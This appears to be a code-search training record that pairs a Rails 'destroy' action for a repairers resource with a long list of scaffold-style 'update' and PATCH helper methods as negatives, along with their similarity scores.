"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @type_repair.update(type_repair_params)\n format.html { redirect_to @type_repair, notice: 'Type repair was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_repair }\n else\n format.html { render :edit }\n format.json { render json: @type_repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @remixer.update(remixer_params)\n format.html { redirect_to @remixer, notice: 'Remixer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @remixer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n if @prayer.update_attributes(params[:prayer])\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n if @prayer.update_attributes(params[:prayer])\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n if @prayer.update_attributes(params[:prayer])\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @repair_order.update(repair_order_params)\n format.html { redirect_to @repair_order, notice: 'Repair order was successfully updated.' }\n format.json { render :show, status: :ok, location: @repair_order }\n else\n format.html { render :edit }\n format.json { render json: @repair_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n if @prayer_request.update_attributes(params[:prayer_request])\n format.html { redirect_to @prayer_request, notice: 'Prayer request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @repair_record = RepairRecord.find(params[:id])\n\n respond_to do |format|\n if @repair_record.update_attributes(params[:repair_record])\n format.html { redirect_to @repair_record, notice: 'Repair record was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repair_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @repair.update(repair_params)\n format.html { redirect_to @repair, notice: 'Repair was successfully updated.' }\n format.json { render :show, status: :ok, location: @repair }\n \n if @repair.jobs.count == @repair.jobs.done.count\n @repair.update(done: true)\n end\n\n update_parts(@repair)\n @bus= Bus.find(@repair.bus_id)\n bus_update(@bus)\n\n else\n format.html { render :edit }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @repairq.update(repairq_params)\n format.html { redirect_to @repairq, notice: 'Repairq was successfully updated.' }\n format.json { render :show, status: :ok, location: @repairq }\n else\n format.html { render :edit }\n format.json { render json: @repairq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle_repair = VehicleRepair.find(params[:id])\n\n respond_to do |format|\n if @vehicle_repair.update_attributes(params[:vehicle_repair])\n format.html { redirect_to(@vehicle_repair, :notice => 'Vehicle repair was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle_repair.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n if @retailer.update_attributes(params[:retailer])\n format.html { redirect_to @retailer, notice: \"Retailer was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @retailer.errors, status: \"unprocessable_entry\" }\n end\n end\n end",
"def update\n # @retailer = Retailer.find(params[:id])\n respond_to do |format|\n if @retailer.update_attributes(params[:retailer])\n format.html { redirect_to @retailer, notice: 'Retailer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @railscareer.update(railscareer_params)\n format.html { redirect_to @railscareer, notice: 'Railscareer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @railscareer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @my_prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n if @my_prayer_request.update_attributes(params[:my_prayer_request])\n format.html { redirect_to @my_prayer_request, notice: 'My prayer request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n if @retailer.update_attributes(params[:retailer])\n format.html { redirect_to @retailer, notice: 'Retailer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chef.update(chef_params)\n format.html { redirect_to [:admin, @chef], notice: t('messages.updated', model:Chef.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chef.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @renter = Renter.find(params[:id])\n\n respond_to do |format|\n if @renter.update_attributes(params[:renter])\n format.html { redirect_to @renter, :notice => 'Renter was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @renter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @requesttomentor = Requesttomentor.find(params[:id])\n\n respond_to do |format|\n if @requesttomentor.update_attributes(params[:requesttomentor])\n format.html { redirect_to @requesttomentor, notice: 'Requesttomentor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requesttomentor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @renter = Renter.find(params[:id])\n\n respond_to do |format|\n if @renter.update_attributes(params[:renter])\n format.html { redirect_to @renter, notice: 'Renter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @renter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @repair_type = RepairType.find(params[:id])\n\n respond_to do |format|\n if @repair_type.update_attributes(params[:repair_type])\n format.html { redirect_to(@repair_type, :notice => 'Repair type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @repair_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def repair!\n update!\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n respond_to do |format|\n if @requester.update(requester_params)\n format.html { redirect_to @requester, notice: 'Requester was successfully updated.' }\n format.json { render :show, status: :ok, location: @requester }\n else\n format.html { render :edit }\n format.json { render json: @requester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @consultor.update(consultor_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @consultor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n if @pessoa_receber.update_attributes(params[:pessoa_receber])\n format.html { redirect_to @pessoa_receber, :notice => 'Pessoa receber was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @pessoa_receber.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update\n @trompler = Trompler.find(params[:id])\n\n respond_to do |format|\n if @trompler.update_attributes(params[:trompler])\n format.html { redirect_to @trompler, notice: 'Trompler was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trompler.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def update\n respond_to do |format|\n if @resto.update(resto_params)\n format.html { redirect_to @resto, notice: 'Entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @resto }\n else\n format.html { render :edit }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #整備依頼の場合、新規に依頼Noと整備依頼日を取得する\n if params[:commit] == t('views.buttun_repairOrdered')\n @repair.order_no = Repair.createOrderNo\n @repair.order_date = Date.today\n end\n\n respond_to do |format|\n if @repair.update(repair_params)\n # パラメータにenginestatus_idがあれば、エンジンのステータスを設定し、所轄をログインユーザの会社に変更する\n self.setEngineStatus\n\n\t\t #if !(params[:enginestatus_id].nil?)\n\t\t # @repair.engine.enginestatus = Enginestatus.find(params[:enginestatus_id].to_i)\n\t\t # if params[:enginestatus_id].to_i == 1\n # @repair.engine.company = current_user.company\n\t\t # end\n\t\t #end\n\t\t \n\t\t # もし整備依頼の場合は、その整備会社のユーザに整備依頼メールを送信する。\n#\n#\t\t if params[:commit] == t('views.buttun_repairOrdered')\n# R2mailer.sendRepairOrderMail(User.collect_emails_by_company(@repair.engine.company) , @repair).deliver\n# end\n\n\t\t @repair.engine.save\n\t\t \n format.html { redirect_to @repair, notice: t(\"controller_msg.repair_updated\") }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n respond_to do |format|\n if @racer.update(racer_params)\n format.html { redirect_to @racer, notice: 'Racer was successfully updated.' }\n format.json { render :show, status: :ok, location: @racer }\n else\n format.html { render :edit }\n format.json { render json: @racer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @primer = Primer.find(params[:id])\n\n respond_to do |format|\n if @primer.update_attributes(params[:primer])\n format.html { redirect_to @primer, notice: 'Primer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @primer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n if @tester.update_attributes(params[:tester])\n format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n if @tester.update_attributes(params[:tester])\n format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @volunteer = Volunteer.find(params[:id])\n\n respond_to do |format|\n if @volunteer.update_attributes(params[:volunteer])\n format.html { redirect_to @volunteer, notice: 'Volunteer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prayer.update(prayer_params)\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { render :show, status: :ok, location: @prayer }\n else\n format.html { render :edit }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @volunteer.update(volunteer_params)\n format.html { redirect_to @volunteer, notice: 'Volunteer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @refferalmaster = Refferalmaster.find(params[:id])\n\n respond_to do |format|\n if @refferalmaster.update_attributes(params[:refferalmaster])\n format.html { redirect_to(@refferalmaster, :notice => 'Refferalmaster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @refferalmaster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def set_repair\n @repair = Repair.find(params[:id])\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n if @consultor.update(consultor_params)\n format.html { redirect_to @consultor, notice: 'Consultor was successfully updated.' }\n format.json { render :show, status: :ok, location: @consultor }\n else\n format.html { render :edit }\n format.json { render json: @consultor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @responder = Responder.find(params[:id])\n\n respond_to do |format|\n if @responder.update_attributes(params[:responder])\n format.html { redirect_to @responder, :notice => 'Responder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @responder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def update\n @fridge = Fridge.find(params[:id])\n\n respond_to do |format|\n if @fridge.update_attributes(params[:fridge])\n format.html { redirect_to @fridge, notice: 'Fridge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fridge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @realtor.update(realtor_params)\n format.html { redirect_to @realtor, notice: 'Realtor was successfully updated.' }\n format.json { render :show, status: :ok, location: @realtor }\n else\n format.html { render :edit }\n format.json { render json: @realtor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @referee = Referee.find(params[:id])\n\n respond_to do |format|\n if @referee.update_attributes(params[:referee])\n format.html { redirect_to @referee, notice: 'Referee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @referee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @retailer.update(retailer_params)\n format.html { redirect_to @retailer, notice: 'Retailer was successfully updated.' }\n format.json { render :show, status: :ok, location: @retailer }\n else\n format.html { render :edit }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @scratcher = Scratcher.find(params[:id])\n\n if @scratcher.update(permitted_params)\n head :no_content\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end",
"def update\n @spawner = Spawner.find(params[:id])\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n if @spawner.update_attributes(spawner_params)\n format.html { redirect_to @spawner, notice: 'Spawner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spawner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rest.update(rest_params)\n format.html { redirect_to @rest, notice: 'Rest was successfully updated.' }\n format.json { render :show, status: :ok, location: @rest }\n else\n format.html { render :edit }\n format.json { render json: @rest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @responsible.update(responsible_params)\n format.html { redirect_to @responsible, notice: 'Responsavel editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @responsible.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prepair.update(prepair_params)\n format.html { redirect_to @prepair, notice: 'Prepair was successfully updated.' }\n format.json { render :show, status: :ok, location: @prepair }\n else\n format.html { render :edit }\n format.json { render json: @prepair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chest_triceps1.update(chest_triceps1_params)\n format.html { redirect_to \"/chest_triceps1s\" } \n format.json { render :show, status: :ok, location: @chest_triceps1 }\n else\n format.html { render :edit }\n format.json { render json: @chest_triceps1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n if @clientsOffers.update_attributes(params[:clientsOffers])\n format.html { redirect_to @clientsOffers, notice: 'ClientsOffers was succesfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientsOffers.errors, status: :unprocesable_entity }\n end\n end\n end",
"def update\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n if @apprentice.update_attributes(params[:apprentice])\n format.html { redirect_to @apprentice, notice: 'Apprentice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apprentice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cartridge.update(cartridge_params)\n format.html { redirect_to @cartridge, notice: 'Cartridge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cartridge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rater = Rater.find(params[:id])\n\n respond_to do |format|\n if @rater.update_attributes(params[:rater])\n format.html { redirect_to @rater, notice: 'Rater was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rater.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @freerange.update(freerange_params)\n format.html { redirect_to current_user }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @freerange.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @performer.update(performer_params)\n format.html { redirect_to @performer, notice: 'Performer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @performer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rapper.update(rapper_params)\n format.html { redirect_to @rapper, notice: 'Rapper was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rapper.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @distributor = Distributor.find(params[:id])\n\n respond_to do |format|\n if @distributor.update_attributes(params[:distributor])\n format.html { redirect_to distributors_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @distributor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @realtor.update(realtor_params)\n format.html { redirect_to @realtor, notice: 'Realtor was successfully updated.' }\n format.json { render :show, status: :ok, location: @realtor }\n else\n format.html { render :edit }\n format.json { render json: @realtor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n if @routine.update_attributes(params[:routine])\n format.html { redirect_to @routine, notice: 'Routine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @routine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @waiter = Waiter.find(params[:id])\n\n respond_to do |format|\n if @waiter.update_attributes(params[:waiter])\n format.html { redirect_to @waiter, notice: 'Waiter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @waiter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chef.update(chef_params)\n format.html { redirect_to my_meals_path, notice: \"Chef was successfully updated.\" }\n else\n format.html { render :edit }\n end\n end\n end",
"def patch\n end",
"def update\n @mineral = Mineral.find(params[:id])\n \n respond_to do |format|\n if @mineral.update_attributes(params[:mineral])\n format.html { redirect_to @mineral, notice: 'Mineral was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mineral.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dealer.update(dealer_params)\n format.html { redirect_to @dealer, notice: 'Dealer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dealer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @repairshop = Repairshop.find(params[:id])\n\n respond_to do |format|\n if @repairshop.update_attributes(params[:repairshop])\n format.html { redirect_to(@repairshop, :notice => 'Repairshop was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @repairshop.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @conferencerm = Conferencerm.find(params[:id])\n\n respond_to do |format|\n if @conferencerm.update_attributes(params[:conferencerm])\n format.html { redirect_to @conferencerm, notice: 'Conferencerm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conferencerm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @residential.update(residential_params)\n format.html { redirect_to @residential, notice: 'Residential was successfully updated.' }\n format.json { render :show, status: :ok, location: @residential }\n else\n format.html { render :edit }\n format.json { render json: @residential.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submitter = Submitter.find(params[:id])\n\n respond_to do |format|\n if @submitter.update_attributes(params[:submitter])\n format.html { redirect_to @submitter }#, notice: 'Submitter was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @submitter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @waiter.update(waiter_params.slice(:name, :email, :mobile))\n format.html { redirect_to waiters_manager_path(current_user), notice: i18n_notice('updated',@waiter) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @waiter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @recipe = Recipe.find(params[:id])\n #\n update! do |success, failure|\n # success.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n # success.json { head :ok }\n # failure.html { render action: \"edit\" }\n # failure.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end",
"def update\n respond_to do |format|\n if @restroom.update(restroom_params)\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @before_intership = BeforeIntership.find(params[:id])\n\n respond_to do |format|\n if @before_intership.update_attributes(params[:before_intership])\n format.html { redirect_to @before_intership, notice: 'Before intership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @before_intership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @potluck_recipe.update(potluck_recipe_params)\n format.html { redirect_to @potluck_recipe, notice: 'Potluck recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @potluck_recipe }\n else\n format.html { render :edit }\n format.json { render json: @potluck_recipe.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7193579",
"0.6417123",
"0.6326277",
"0.6237479",
"0.61153877",
"0.60916376",
"0.6049923",
"0.6049923",
"0.6049923",
"0.6049895",
"0.6032167",
"0.6030691",
"0.6020629",
"0.6020495",
"0.60148567",
"0.60060555",
"0.5991067",
"0.5938141",
"0.59217954",
"0.5904961",
"0.58888304",
"0.58842725",
"0.58383954",
"0.58320874",
"0.58173525",
"0.5817259",
"0.5807509",
"0.5801733",
"0.58008343",
"0.57851684",
"0.57774156",
"0.57737607",
"0.5771048",
"0.5767159",
"0.5765323",
"0.57590514",
"0.5750316",
"0.57442415",
"0.5743111",
"0.5735393",
"0.5734931",
"0.57320017",
"0.57320017",
"0.5723324",
"0.57193875",
"0.5718806",
"0.57141423",
"0.5713566",
"0.5703725",
"0.5701818",
"0.5701818",
"0.5695082",
"0.56921977",
"0.5688745",
"0.5686313",
"0.5684564",
"0.56809175",
"0.56809175",
"0.56809175",
"0.56786203",
"0.5678304",
"0.56747794",
"0.56745523",
"0.5672461",
"0.56712604",
"0.5670136",
"0.56692815",
"0.566874",
"0.5667956",
"0.56673074",
"0.5664551",
"0.5664044",
"0.5661773",
"0.5661219",
"0.5660261",
"0.5660261",
"0.5656964",
"0.5656504",
"0.5655402",
"0.5651096",
"0.5645028",
"0.5640867",
"0.56398666",
"0.56392914",
"0.5638807",
"0.5637278",
"0.5634524",
"0.5631727",
"0.5630593",
"0.56265163",
"0.5624362",
"0.5622094",
"0.5620239",
"0.5618331",
"0.5616229",
"0.5616162",
"0.56154764",
"0.56123114",
"0.5610694",
"0.5610607"
] | 0.696083 | 1 |
DELETE /repairers/1 DELETE /repairers/1.json | def destroy
@repairer.destroy
respond_to do |format|
format.html { redirect_to repairers_url, notice: 'Repairer was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
